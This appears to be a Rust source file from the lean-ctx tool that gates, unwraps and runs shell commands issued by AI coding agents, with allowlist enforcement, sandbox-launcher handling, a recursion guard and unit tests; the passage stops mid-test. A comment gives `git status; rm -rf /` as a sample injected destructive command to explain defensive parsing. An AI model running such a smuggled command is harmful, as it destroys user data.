Skip to main content

lean_ctx/shell/exec/
execution.rs

1use std::io::{self, IsTerminal};
2use std::process::{Command, Stdio};
3
4use crate::core::config;
5
6/// An allowlist-admitted shell execution that owns the effective command or
7/// the original pre-split argv.
8pub(crate) enum PreparedShellExecution {
9    Shell {
10        command: String,
11        collapsed_nested: bool,
12    },
13    DirectArgv(Vec<String>),
14    /// #1834: a host OS-sandbox launcher whose inner script already passed the
15    /// allowlist; the launcher itself runs verbatim.
16    SandboxLauncher(Vec<String>),
17}
18
19/// Result of dispatching an admitted shell execution.
20#[derive(Debug, Eq, PartialEq)]
21pub(crate) struct ShellDispatchObservation {
22    pub(crate) exit_code: i32,
23    pub(crate) child_dispatch_attempted: bool,
24}
25
26/// Prepare a shell command, applying wrapper unwrapping, nested-command
27/// collapsing, and the allowlist gate exactly once.
28pub(crate) fn prepare_exec(command: &str) -> Result<PreparedShellExecution, i32> {
29    if let Some(code) = reject_if_exec_depth_exceeded() {
30        return Err(code);
31    }
32
33    // #1834 (Path C): the host's OS-sandbox launcher (`env … sandbox-exec …
34    // /bin/zsh -c '<Path B>'`, Claude Code `sandbox.enabled`). Unwrapping it
35    // would run the real command outside the sandbox, and gating the launcher
36    // as a whole hard-blocks every call on the inner `eval`. Gate the script
37    // inside it here — exactly as Path A/B would — then run the launcher
38    // verbatim. This gate is the one that counts: the inner shell may be bash,
39    // which never reads `.zshenv`, so its re-entry is only for compression.
40    // See `agent_wrapper::os_sandbox_launcher_argv`.
41    if let Some(argv) = super::super::agent_wrapper::os_sandbox_launcher_argv(command) {
42        if let Some(code) = allowlist_gate(&sandbox_launcher_gated_command(&argv)) {
43            return Err(code);
44        }
45        return Ok(PreparedShellExecution::SandboxLauncher(argv));
46    }
47
48    let (command, collapsed_nested) = prepare_shell_command(command);
49    if let Some(code) = allowlist_gate(&command) {
50        return Err(code);
51    }
52    Ok(PreparedShellExecution::Shell {
53        command,
54        collapsed_nested,
55    })
56}
57
58/// Prepare pre-split argv without reparsing it through a shell.
59pub(crate) fn prepare_exec_argv(args: &[String]) -> Result<PreparedShellExecution, i32> {
60    if args.is_empty() {
61        return Err(127);
62    }
63
64    if let Some(code) = reject_if_exec_depth_exceeded() {
65        return Err(code);
66    }
67
68    // Quote-safe join used only for the allowlist/policy *checks*; execution
69    // below still consumes the pre-split argv verbatim (the whole reason `-t`
70    // avoids `sh -c`). Joining first means a single argv element such as
71    // `git status; rm -rf /` is checked as ONE quoted token, never re-parsed.
72    let joined = super::super::platform::join_command(args);
73
74    // #595: unwrap a host command wrapper (eval + cwd snapshot) before any
75    // checks so the real command — not the wrapper — is gated and run. The `-t`
76    // path cannot exec a compound argv, so route the rebuild through the shell
77    // form while retaining the single admission gate.
78    if let Some(u) = super::super::agent_wrapper::unwrap_agent_wrapper(&joined) {
79        let (command, collapsed_nested) = prepare_shell_command(&u.rebuild());
80        if let Some(code) = allowlist_gate(&command) {
81            return Err(code);
82        }
83        return Ok(PreparedShellExecution::Shell {
84            command,
85            collapsed_nested,
86        });
87    }
88
89    // The `-t` track path is the agent's default shell hook
90    // (`_lc() { lean-ctx -t "$@" }`), so it MUST enforce the same allowlist
91    // boundary as the `-c` path. The direct argv remains byte-faithful.
92    if let Some(code) = allowlist_gate(&joined) {
93        return Err(code);
94    }
95
96    Ok(PreparedShellExecution::DirectArgv(args.to_vec()))
97}
98
99/// Execute an allowlist-admitted value through the existing post-gate routes.
100/// Admission is complete before this function runs; no allowlist check belongs
101/// here. Dispatch is considered attempted before entering a child helper, so a
102/// spawn failure with exit `127` is still an attempted dispatch.
103pub(crate) fn execute_prepared(prepared: PreparedShellExecution) -> ShellDispatchObservation {
104    let exit_code = match prepared {
105        PreparedShellExecution::Shell {
106            command,
107            collapsed_nested,
108        } => execute_shell_post_gate(&command, collapsed_nested),
109        PreparedShellExecution::DirectArgv(args) => execute_argv_post_gate(&args),
110        PreparedShellExecution::SandboxLauncher(argv) => exec_sandbox_launcher(&argv),
111    };
112
113    ShellDispatchObservation {
114        exit_code,
115        child_dispatch_attempted: true,
116    }
117}
118
119/// Execute a command from pre-split argv without going through `sh -c`.
120/// Used by `-t` mode when the shell hook passes `"$@"` — arguments are
121/// already correctly split by the user's shell, so re-serializing them
122/// into a string and re-parsing via `sh -c` would risk mangling complex
123/// quoted arguments (em-dashes, `#`, nested quotes, etc.).
124pub fn exec_argv(args: &[String]) -> i32 {
125    prepare_exec_argv(args)
126        .map_or_else(|code| code, |prepared| execute_prepared(prepared).exit_code)
127}
128
129fn execute_argv_post_gate(args: &[String]) -> i32 {
130    if super::super::reentry::should_pass_through() {
131        return exec_direct(args);
132    }
133
134    let cfg = config::Config::load();
135    let joined = super::super::platform::join_command(args);
136    let policy = super::super::output_policy::classify(&joined, &cfg.excluded_commands);
137
138    if policy.is_protected() {
139        let code = exec_direct(args);
140        crate::core::tool_lifecycle::record_shell_command(0, 0);
141        return code;
142    }
143
144    let code = exec_direct(args);
145    crate::core::tool_lifecycle::record_shell_command(0, 0);
146    code
147}
148
149/// Refuses to spawn another shell once nesting has gone past
150/// [`super::super::reentry::MAX_EXEC_DEPTH`] — the last line of defense
151/// against a runaway self-recursion loop (a shell hook re-firing inside a
152/// shell lean-ctx itself spawned, see `reentry::stamp_exec_depth`) that would
153/// otherwise fork-bomb the host.
154///
155/// Returns exit code 126, the same "not allowed" signal the shell-hook
156/// wrappers already treat as "fall back to `command "$@"`" — so exceeding the
157/// ceiling doesn't just stop lean-ctx, it makes the surrounding shell function
158/// run the real command directly, which is what actually breaks the loop.
159fn reject_if_exec_depth_exceeded() -> Option<i32> {
160    if !super::super::reentry::exec_depth_exceeded() {
161        return None;
162    }
163    eprintln!(
164        "lean-ctx: refusing to nest further (depth >= {}) — a shell hook is re-firing inside a \
165         command lean-ctx already spawned. Running the command raw instead of risking a \
166         runaway process loop. If this persists, check for a duplicate/competing shell \
167         integration that also wraps commands through lean-ctx.",
168        super::super::reentry::MAX_EXEC_DEPTH
169    );
170    Some(126)
171}
172
173fn exec_direct(args: &[String]) -> i32 {
174    let mut cmd = Command::new(&args[0]);
175    cmd.args(&args[1..])
176        .stdin(Stdio::inherit())
177        .stdout(Stdio::inherit())
178        .stderr(Stdio::inherit());
179    super::super::reentry::mark_child(&mut cmd);
180    super::super::platform::apply_utf8_locale(&mut cmd);
181    let status = cmd.status();
182
183    match status {
184        Ok(s) => crate::shell::exit_status::exit_code(s),
185        Err(e) => {
186            tracing::error!("lean-ctx: failed to execute: {e}");
187            127
188        }
189    }
190}
191
192/// Decides whether an allowlist violation on the CLI path blocks (exit 126) or
193/// only warns.
194///
195/// Enforced when:
196/// - hook-child mode (`LEAN_CTX_HOOK_CHILD`): lean-ctx is the agent's
197///   command-interception channel and must not be weaker than the MCP path, or
198/// - stderr is not a TTY: a non-interactive caller is an agent or script, and
199///   agent-driven `lean-ctx -c` must enforce the same boundary as ctx_shell.
200///
201/// Warn-only when a human runs `lean-ctx -c` at an interactive terminal (they
202/// can run the command without lean-ctx anyway, so blocking adds friction, not
203/// a boundary) or when `LEAN_CTX_ALLOWLIST_WARN_ONLY=1` explicitly opts out.
204fn allowlist_must_enforce() -> bool {
205    let hook_child = crate::core::runtime_flags::hook_child_enabled();
206    let warn_only = std::env::var("LEAN_CTX_ALLOWLIST_WARN_ONLY")
207        .is_ok_and(|v| v == "1" || v.eq_ignore_ascii_case("true"));
208    allowlist_must_enforce_inner(hook_child, warn_only, io::stderr().is_terminal())
209}
210
211/// Pure decision core of [`allowlist_must_enforce`] (unit-testable without
212/// process-global env/TTY state).
213fn allowlist_must_enforce_inner(hook_child: bool, warn_only: bool, stderr_is_tty: bool) -> bool {
214    if hook_child {
215        return true;
216    }
217    if warn_only {
218        return false;
219    }
220    !stderr_is_tty
221}
222
223/// True when this process's stdout is a **regular file** — i.e. the caller
224/// redirected output to a file (`cmd > out`, `cmd >> out`).
225///
226/// Output captured to a file is consumed as *data*, so it must stay byte-faithful:
227/// compression would silently drop/abbreviate lines and corrupt the file
228/// (e.g. `git status --short > files.txt` losing entries). Pipes (agent capture)
229/// and TTYs are NOT regular files and return `false`, so they keep their normal
230/// behavior — this only ever *adds* a verbatim guarantee, never removes one.
231///
232/// Uses only `std`: it wraps the existing stdout descriptor in a `ManuallyDrop`
233/// `File` purely to read its metadata (`fstat` on Unix, `GetFileInformation` on
234/// Windows) without ever closing the real stdout.
235fn stdout_is_regular_file() -> bool {
236    #[cfg(unix)]
237    {
238        use std::os::unix::io::{AsRawFd, FromRawFd};
239        let fd = io::stdout().as_raw_fd();
240        // SAFETY: fd 1 stays valid for the whole process. `ManuallyDrop` prevents
241        // the wrapper's `Drop` from closing stdout; we only read metadata.
242        let file = std::mem::ManuallyDrop::new(unsafe { std::fs::File::from_raw_fd(fd) });
243        file.metadata().is_ok_and(|m| m.is_file())
244    }
245    #[cfg(windows)]
246    {
247        use std::os::windows::io::{AsRawHandle, FromRawHandle};
248        let handle = io::stdout().as_raw_handle();
249        // SAFETY: the stdout handle stays valid for the whole process.
250        // `ManuallyDrop` prevents the wrapper's `Drop` from closing it.
251        let file = std::mem::ManuallyDrop::new(unsafe { std::fs::File::from_raw_handle(handle) });
252        file.metadata().is_ok_and(|m| m.is_file())
253    }
254    #[cfg(not(any(unix, windows)))]
255    {
256        false
257    }
258}
259
260/// Quote-aware check for stdout file redirects (`>`, `>>`) inside a command
261/// string. Returns `true` when the command redirects to a real file (not
262/// `/dev/null`, not `>&N` fd-duplication, not `2>`).
263fn command_has_file_redirect(cmd: &str) -> bool {
264    let bytes = cmd.as_bytes();
265    let len = bytes.len();
266    let mut i = 0;
267    let mut in_single_quote = false;
268    let mut in_double_quote = false;
269
270    while i < len {
271        let c = bytes[i];
272        if c == b'\\' && !in_single_quote {
273            i += 2;
274            continue;
275        }
276        if c == b'\'' && !in_double_quote {
277            in_single_quote = !in_single_quote;
278        } else if c == b'"' && !in_single_quote {
279            in_double_quote = !in_double_quote;
280        } else if c == b'>' && !in_single_quote && !in_double_quote {
281            if i > 0 && bytes[i - 1] == b'2' {
282                i += 1;
283                continue;
284            }
285            let target_start = if i + 1 < len && bytes[i + 1] == b'>' {
286                i + 2
287            } else {
288                i + 1
289            };
290            let target: String = cmd[target_start..]
291                .trim_start()
292                .chars()
293                .take_while(|c| !c.is_whitespace())
294                .collect();
295            if target == "/dev/null" || target == "/dev/stdout" || target == "/dev/stderr" {
296                i += 1;
297                continue;
298            }
299            if let Some(fd) = target.strip_prefix('&')
300                && !fd.is_empty()
301                && (fd == "-" || fd.chars().all(|c| c.is_ascii_digit()))
302            {
303                i += 1;
304                continue;
305            }
306            if !target.is_empty() {
307                return true;
308            }
309        }
310        i += 1;
311    }
312    false
313}
314
315/// Shared allowlist gate for the CLI shell entrypoints — `-c` (via [`exec`]) and
316/// `-t` (via [`exec_argv`]). Both must apply the SAME boundary so the track path
317/// (the default shell hook) cannot be weaker than the compress path.
318///
319/// Returns `Some(126)` when the command is blocked and the caller must return
320/// that exit code; `None` when execution may proceed (allowed, or warn-only for
321/// an interactive human — see [`allowlist_must_enforce`]).
322///
323/// Also the gate of the CLI pass-through path (`lean-ctx -c` / `-t` under an
324/// inherited `LEAN_CTX_WRAPPED` or `LEAN_CTX_DISABLED`), which skips
325/// compression but must never skip this boundary (GH #2004).
326pub(crate) fn allowlist_gate(command: &str) -> Option<i32> {
327    if let Err(msg) = crate::core::shell_allowlist::check_shell_allowlist(command) {
328        if allowlist_must_enforce() {
329            eprintln!("{msg}");
330            eprintln!(
331                "lean-ctx: command blocked by shell allowlist. \
332                 Allow it permanently: lean-ctx allow <cmd> — or set \
333                 LEAN_CTX_ALLOWLIST_WARN_ONLY=1 to downgrade to a warning."
334            );
335            return Some(126);
336        }
337        // Diagnostic, not user feedback: an interactive human at a TTY can run
338        // the command without lean-ctx anyway, and surfacing a WARN in their
339        // plain terminal is exactly the confusion GH #699 reported. A non-TTY
340        // caller that opted into warn-only gets it at info, without the enforce
341        // text ("blocked, do not retry") for a command that runs (#1874).
342        let reason = crate::core::shell_allowlist::warn_only_reason(msg.message());
343        if io::stderr().is_terminal() {
344            tracing::debug!("[CLI] Command would be blocked in MCP mode: {reason}");
345        } else {
346            tracing::info!("[CLI] Command would be blocked in MCP mode; it ran ({reason})");
347        }
348    }
349    None
350}
351
352pub fn exec(command: &str) -> i32 {
353    prepare_exec(command).map_or_else(|code| code, |prepared| execute_prepared(prepared).exit_code)
354}
355
356fn prepare_shell_command(command: &str) -> (String, bool) {
357    // #595: when the agent wraps its command in host scaffolding
358    // (`… && eval '<cmd>' … && pwd -P >| …-cwd`), look through it so the allowlist
359    // and compression act on the REAL command, not the wrapper — whose `eval` the
360    // allowlist would otherwise hard-block on every single call. The cwd snapshot
361    // is preserved so the host keeps tracking the working directory.
362    let unwrapped = super::super::agent_wrapper::unwrap_agent_wrapper(command).map(|u| u.rebuild());
363    let mut collapsed_nested = false;
364    let collapsed;
365    let command = unwrapped.as_deref().unwrap_or(command);
366    let command = if let Some(c) = collapse_nested_lean_ctx_exec(command) {
367        collapsed_nested = true;
368        collapsed = c;
369        collapsed.as_str()
370    } else {
371        command
372    };
373
374    (command.to_string(), collapsed_nested)
375}
376
377fn execute_shell_post_gate(command: &str, collapsed_nested: bool) -> i32 {
378    let (shell, shell_flag) = super::super::platform::shell_and_flag();
379    let command = crate::tools::ctx_shell::normalize_command_for_shell(command);
380    // #1286: keep the zsh preamble (`setopt nonomatch noequals; `) OUT of the
381    // command string used for classification and compression — every
382    // `starts_with("ls ")`/`git`-style pattern matcher silently stopped
383    // matching under zsh (the default macOS shell), degrading pattern
384    // compression to the generic terse fallback. The preamble is applied to
385    // the SPAWNED command only, inside the exec helpers.
386    let command = command.as_str();
387
388    if super::super::reentry::is_disabled() {
389        return exec_inherit(command, &shell, &shell_flag);
390    }
391    if should_delegate_wrapped_to_shell_default(collapsed_nested) {
392        return exec_shell_default(command, &shell, &shell_flag);
393    }
394
395    let cfg = config::Config::load();
396    let force_compress = crate::core::runtime_flags::compress_enabled();
397    let raw_mode = crate::core::runtime_flags::raw_enabled();
398
399    if raw_mode {
400        return exec_inherit_tracked(command, &shell, &shell_flag);
401    }
402
403    let policy = super::super::output_policy::classify(command, &cfg.excluded_commands);
404
405    // Passthrough: ALWAYS bypass compression, even with force_compress.
406    if policy == super::super::output_policy::OutputPolicy::Passthrough {
407        return exec_inherit_tracked(command, &shell, &shell_flag);
408    }
409
410    // Verbatim: bypass compression unless force_compress is set,
411    // in which case use buffered path (compress_if_beneficial will
412    // respect the verbatim classification and only size-cap).
413    if policy == super::super::output_policy::OutputPolicy::Verbatim && !force_compress {
414        return exec_inherit_tracked(command, &shell, &shell_flag);
415    }
416
417    if !force_compress {
418        if io::stdout().is_terminal() {
419            return exec_inherit_tracked(command, &shell, &shell_flag);
420        }
421        let code = exec_inherit(command, &shell, &shell_flag);
422        crate::core::tool_lifecycle::record_shell_command(0, 0);
423        return code;
424    }
425
426    // Compression is forced (`-c` / LEAN_CTX_COMPRESS, e.g. the agent shell hook).
427    // It must STILL never alter bytes destined for a file: a redirect
428    // (`cmd > out`, `cmd >> out`) means the output is captured as data, not read by
429    // a human or agent. Writing the compressed digest there would silently
430    // drop/abbreviate lines and corrupt the file (e.g. contradictory `git diff`
431    // dumps). Pass redirected-to-file output through verbatim; pipes (agent
432    // capture) and TTYs keep compressing. This is the single choke point, so it
433    // holds for every caller (hook, direct CLI, Pi/MCP bridges).
434    if stdout_is_regular_file() {
435        return exec_inherit_tracked(command, &shell, &shell_flag);
436    }
437
438    // Also bypass compression when the redirect is INSIDE the command string
439    // (e.g., `lean-ctx -c 'git show HEAD:f > out.md'`). In this case lean-ctx's
440    // own stdout is a pipe (to the agent), but the shell child redirects its
441    // stdout to the file. exec_buffered would capture empty/minimal output while
442    // the file gets correct data — but the overhead is wasted and the compressed
443    // empty output confuses agents. Let sh handle it natively. (#1303)
444    if command_has_file_redirect(command) {
445        return exec_inherit_tracked(command, &shell, &shell_flag);
446    }
447
448    super::super::pipeline::exec_buffered(command, &shell, &shell_flag, &cfg)
449}
450
451fn collapse_nested_lean_ctx_exec(command: &str) -> Option<String> {
452    let mut current = command.trim().to_string();
453    let mut changed = false;
454
455    while let Some(next) = strip_one_lean_ctx_exec(&current) {
456        if next == current {
457            break;
458        }
459        current = next;
460        changed = true;
461    }
462
463    changed.then_some(current)
464}
465
466fn should_delegate_wrapped_to_shell_default(collapsed_nested: bool) -> bool {
467    // After collapsing `lean-ctx -c "lean-ctx -c ..."` the current process is the
468    // one compression pass that would otherwise be owned by the shell default.
469    // Delegating again would drop back to raw execution or re-enter the hook.
470    super::super::reentry::is_wrapped() && !collapsed_nested
471}
472
473fn strip_one_lean_ctx_exec(command: &str) -> Option<String> {
474    let words = split_simple_shell_words(command)?;
475    if words.len() < 3 || !is_lean_ctx_bin(&words[0].value) {
476        return None;
477    }
478    if words[1].value != "-c" && words[1].value != "exec" {
479        return None;
480    }
481    if words[2..].iter().any(|w| {
482        matches!(
483            w.value.as_str(),
484            "|" | "||" | "&" | "&&" | ";" | "<" | ">" | ">>"
485        )
486    }) {
487        return None;
488    }
489    if words.len() == 3 {
490        Some(words[2].value.trim().to_string())
491    } else {
492        Some(command[words[2].start..].trim().to_string())
493    }
494}
495
496fn is_lean_ctx_bin(word: &str) -> bool {
497    std::path::Path::new(word)
498        .file_name()
499        .and_then(|name| name.to_str())
500        .is_some_and(|name| name == "lean-ctx" || name == "lean-ctx.exe")
501}
502
503struct SimpleShellWord {
504    value: String,
505    start: usize,
506}
507
508fn split_simple_shell_words(command: &str) -> Option<Vec<SimpleShellWord>> {
509    let mut words = Vec::new();
510    let mut current = String::new();
511    let mut current_start: Option<usize> = None;
512    let mut chars = command.char_indices().peekable();
513    let mut quote: Option<char> = None;
514
515    while let Some((idx, ch)) = chars.next() {
516        match quote {
517            Some('\'') if ch == '\'' => quote = None,
518            Some('"') if ch == '"' => quote = None,
519            None if ch == '\'' || ch == '"' => {
520                current_start.get_or_insert(idx);
521                quote = Some(ch);
522            }
523            Some('"') | None if ch == '\\' => {
524                current_start.get_or_insert(idx);
525                if let Some((_, next)) = chars.next() {
526                    current.push(next);
527                }
528            }
529            None if ch.is_whitespace() => {
530                if let Some(start) = current_start.take() {
531                    words.push(SimpleShellWord {
532                        value: std::mem::take(&mut current),
533                        start,
534                    });
535                }
536            }
537            Some(_) | None => {
538                current_start.get_or_insert(idx);
539                current.push(ch);
540            }
541        }
542    }
543
544    if quote.is_some() {
545        return None;
546    }
547    if let Some(start) = current_start {
548        words.push(SimpleShellWord {
549            value: current,
550            start,
551        });
552    }
553    (!words.is_empty()).then_some(words)
554}
555
556/// What the allowlist sees for a sandbox launcher: the script it runs, looked
557/// through the host scaffolding the same way [`exec`] does for Path A/B. A
558/// script that is not host scaffolding is gated whole — its `eval` then blocks
559/// exactly as it would without the sandbox.
560fn sandbox_launcher_gated_command(argv: &[String]) -> String {
561    let script = argv.last().map_or("", String::as_str);
562    super::super::agent_wrapper::unwrap_agent_wrapper(script)
563        .map_or_else(|| script.to_string(), |u| u.rebuild())
564}
565
566/// Spawn an OS-sandbox launcher argv as-is (Path C), without a shell in
567/// between: a `zsh -c` hop here would re-read `.zshenv` with the same launcher
568/// string and loop back into lean-ctx. The caller has already gated the
569/// script. The re-entry guard the hook exported (`LEAN_CTX_ACTIVE`) and the
570/// ownership marker are cleared so a zsh the launcher starts *inside* the
571/// sandbox re-enters the hook for compression; the depth stamp still bounds
572/// runaway nesting.
573fn exec_sandbox_launcher(argv: &[String]) -> i32 {
574    match sandbox_launcher_command(argv).status() {
575        Ok(s) => crate::shell::exit_status::exit_code(s),
576        Err(e) => {
577            tracing::error!("lean-ctx: failed to execute sandbox launcher: {e}");
578            127
579        }
580    }
581}
582
583fn sandbox_launcher_command(argv: &[String]) -> Command {
584    let mut cmd = Command::new(&argv[0]);
585    cmd.args(&argv[1..])
586        .stdin(Stdio::inherit())
587        .stdout(Stdio::inherit())
588        .stderr(Stdio::inherit());
589    super::super::reentry::clear_shell_default_markers(&mut cmd);
590    super::super::reentry::stamp_exec_depth(&mut cmd);
591    super::super::platform::apply_utf8_locale(&mut cmd);
592    cmd
593}
594
595fn exec_inherit(command: &str, shell: &str, shell_flag: &str) -> i32 {
596    // #1286: the zsh preamble is applied at spawn time only, so `command`
597    // stays clean for classification/compression upstream.
598    let spawn_command = super::super::platform::zsh_safe_command(command, shell);
599    let mut cmd = Command::new(shell);
600    cmd.arg(shell_flag)
601        .arg(&spawn_command)
602        .stdin(Stdio::inherit())
603        .stdout(Stdio::inherit())
604        .stderr(Stdio::inherit());
605    super::super::reentry::mark_child(&mut cmd);
606    super::super::platform::apply_utf8_locale(&mut cmd);
607    super::super::platform::apply_profile_free_env(&mut cmd);
608    let status = cmd.status();
609
610    match status {
611        Ok(s) => crate::shell::exit_status::exit_code(s),
612        Err(e) => {
613            tracing::error!("lean-ctx: failed to execute: {e}");
614            127
615        }
616    }
617}
618
619fn exec_shell_default(command: &str, shell: &str, shell_flag: &str) -> i32 {
620    let spawn_command = super::super::platform::zsh_safe_command(command, shell);
621    let mut cmd = Command::new(shell);
622    cmd.arg(shell_flag)
623        .arg(&spawn_command)
624        .stdin(Stdio::inherit())
625        .stdout(Stdio::inherit())
626        .stderr(Stdio::inherit());
627    super::super::reentry::clear_shell_default_markers(&mut cmd);
628    super::super::reentry::stamp_exec_depth(&mut cmd);
629    super::super::platform::apply_utf8_locale(&mut cmd);
630    super::super::platform::apply_profile_free_env(&mut cmd);
631    let status = cmd.status();
632
633    match status {
634        Ok(s) => crate::shell::exit_status::exit_code(s),
635        Err(e) => {
636            eprintln!("lean-ctx: failed to execute '{command}': {e}");
637            127
638        }
639    }
640}
641
642fn exec_inherit_tracked(command: &str, shell: &str, shell_flag: &str) -> i32 {
643    let code = exec_inherit(command, shell, shell_flag);
644    crate::core::tool_lifecycle::record_shell_command(0, 0);
645    code
646}
647
648/// Label inserted between stdout and stderr of a FAILED command so the agent can
649/// attribute the error to the right stream instead of guessing — and never has to
650/// re-run the command raw just to locate the failure. See #809 / #812.
651pub(crate) const STDERR_LABEL: &str = "--- stderr ---";
652
653/// Join captured stdout and stderr for display/recovery. On failure (non-zero
654/// exit) with both streams present, a labeled delimiter separates them; success
655/// output keeps the plain `stdout\nstderr` shape (determinism, #498).
656pub(crate) fn combine_streams(stdout: &str, stderr: &str, exit_code: i32) -> String {
657    match (stdout.is_empty(), stderr.is_empty()) {
658        (_, true) => stdout.to_string(),
659        (true, false) => stderr.to_string(),
660        (false, false) if exit_code != 0 => format!("{stdout}\n{STDERR_LABEL}\n{stderr}"),
661        (false, false) => format!("{stdout}\n{stderr}"),
662    }
663}
664
665// Buffered command execution and output transformation live in `pipeline`.
666
667#[cfg(test)]
668mod nested_lean_ctx_exec_tests;
669
670#[cfg(test)]
671mod exec_tests {
672    #[test]
673    fn combine_streams_labels_stderr_on_failure() {
674        let out = super::combine_streams("build ok", "linker: undefined symbol", 1);
675        assert_eq!(
676            out,
677            format!(
678                "build ok\n{}\nlinker: undefined symbol",
679                super::STDERR_LABEL
680            )
681        );
682    }
683
684    #[test]
685    fn combine_streams_plain_join_on_success() {
686        let out = super::combine_streams("step 1", "warning: noop", 0);
687        assert_eq!(out, "step 1\nwarning: noop");
688        assert!(!out.contains(super::STDERR_LABEL));
689    }
690
691    #[test]
692    fn combine_streams_single_stream_is_unchanged() {
693        assert_eq!(super::combine_streams("only stdout", "", 1), "only stdout");
694        assert_eq!(super::combine_streams("", "only stderr", 1), "only stderr");
695    }
696
697    #[test]
698    fn exec_direct_runs_true() {
699        let code = super::exec_direct(&["true".to_string()]);
700        assert_eq!(code, 0);
701    }
702
703    #[test]
704    fn exec_direct_runs_false() {
705        let code = super::exec_direct(&["false".to_string()]);
706        assert_ne!(code, 0);
707    }
708
709    #[test]
710    fn exec_direct_preserves_args_with_special_chars() {
711        let code = super::exec_direct(&[
712            "echo".to_string(),
713            "hello world".to_string(),
714            "it's here".to_string(),
715            "a \"quoted\" thing".to_string(),
716        ]);
717        assert_eq!(code, 0);
718    }
719
720    #[test]
721    fn exec_direct_nonexistent_returns_127() {
722        let code = super::exec_direct(&["__nonexistent_binary_12345__".to_string()]);
723        assert_eq!(code, 127);
724    }
725
726    #[test]
727    fn exec_argv_empty_returns_127() {
728        let code = super::exec_argv(&[]);
729        assert_eq!(code, 127);
730    }
731
732    #[test]
733    fn prepare_exec_denies_before_dispatch() {
734        let _lock = crate::core::data_dir::test_env_lock();
735        crate::test_env::remove_var("LEAN_CTX_ACTIVE");
736        crate::test_env::remove_var("LEAN_CTX_DISABLED");
737        crate::test_env::remove_var("LEAN_CTX_ALLOWLIST_WARN_ONLY");
738        crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
739        crate::test_env::set_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE", "git");
740
741        let prepared = super::prepare_exec("xxd");
742
743        crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
744        crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
745
746        assert!(matches!(prepared, Err(126)));
747    }
748
749    #[test]
750    fn prepare_exec_argv_empty_returns_127() {
751        assert!(matches!(super::prepare_exec_argv(&[]), Err(127)));
752    }
753
754    #[test]
755    fn execute_prepared_spawn_failure_is_attempted() {
756        let _lock = crate::core::data_dir::test_env_lock();
757        crate::test_env::remove_var("LEAN_CTX_ACTIVE");
758        crate::test_env::remove_var("LEAN_CTX_DISABLED");
759        crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
760        crate::test_env::set_var(
761            "LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE",
762            "__lean_ctx_phase5_missing_binary__",
763        );
764
765        let prepared =
766            super::prepare_exec_argv(&["__lean_ctx_phase5_missing_binary__".to_string()])
767                .expect("test binary name is allowlisted");
768        let observation = super::execute_prepared(prepared);
769
770        crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
771        crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
772
773        assert_eq!(observation.exit_code, 127);
774        assert!(observation.child_dispatch_attempted);
775    }
776
777    #[test]
778    fn execute_prepared_reports_child_exit() {
779        let _lock = crate::core::data_dir::test_env_lock();
780        crate::test_env::remove_var("LEAN_CTX_ACTIVE");
781        crate::test_env::remove_var("LEAN_CTX_DISABLED");
782        crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
783        crate::test_env::set_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE", "true");
784
785        let prepared = super::prepare_exec_argv(&["true".to_string()]).unwrap();
786        let observation = super::execute_prepared(prepared);
787
788        crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
789        crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
790
791        assert_eq!(observation.exit_code, 0);
792        assert!(observation.child_dispatch_attempted);
793    }
794
795    #[test]
796    fn prepare_exec_argv_preserves_special_argument_bytes() {
797        let _lock = crate::core::data_dir::test_env_lock();
798        crate::test_env::remove_var("LEAN_CTX_ACTIVE");
799        crate::test_env::remove_var("LEAN_CTX_DISABLED");
800        crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
801        crate::test_env::set_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE", "printf");
802        let args = vec![
803            "printf".to_string(),
804            "%s|%s|%s".to_string(),
805            "hello world".to_string(),
806            "it's here".to_string(),
807            "a \"quoted\" thing; $HOME".to_string(),
808        ];
809
810        let prepared = super::prepare_exec_argv(&args).unwrap();
811
812        crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
813        crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
814
815        match prepared {
816            super::PreparedShellExecution::DirectArgv(actual) => assert_eq!(actual, args),
817            super::PreparedShellExecution::Shell { .. }
818            | super::PreparedShellExecution::SandboxLauncher(_) => {
819                panic!("direct argv must not be reparsed as a shell command")
820            }
821        }
822    }
823
824    #[test]
825    fn compatibility_wrappers_match_for_allowlisted_command() {
826        let _lock = crate::core::data_dir::test_env_lock();
827        crate::test_env::remove_var("LEAN_CTX_ACTIVE");
828        crate::test_env::remove_var("LEAN_CTX_DISABLED");
829        crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
830        crate::test_env::set_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE", "true");
831        // The shell path runs `$SHELL -c`; an installed rc hook (zsh sources
832        // ~/.zshenv even non-interactively) would re-exec the *installed*
833        // binary under the developer's real config. Keep the test hermetic.
834        crate::test_env::set_var("LEAN_CTX_NO_HOOK", "1");
835
836        let shell_code = super::exec("true");
837        let argv_code = super::exec_argv(&["true".to_string()]);
838
839        crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
840        crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
841        crate::test_env::remove_var("LEAN_CTX_NO_HOOK");
842
843        assert_eq!(shell_code, argv_code);
844    }
845
846    #[test]
847    fn exec_argv_runs_simple_command() {
848        let _lock = crate::core::data_dir::test_env_lock();
849        crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
850        crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
851        let code = super::exec_argv(&["true".to_string()]);
852        assert_eq!(code, 0);
853    }
854
855    #[test]
856    fn exec_argv_passes_through_when_disabled() {
857        let _lock = crate::core::data_dir::test_env_lock();
858        crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
859        crate::test_env::set_var("LEAN_CTX_DISABLED", "1");
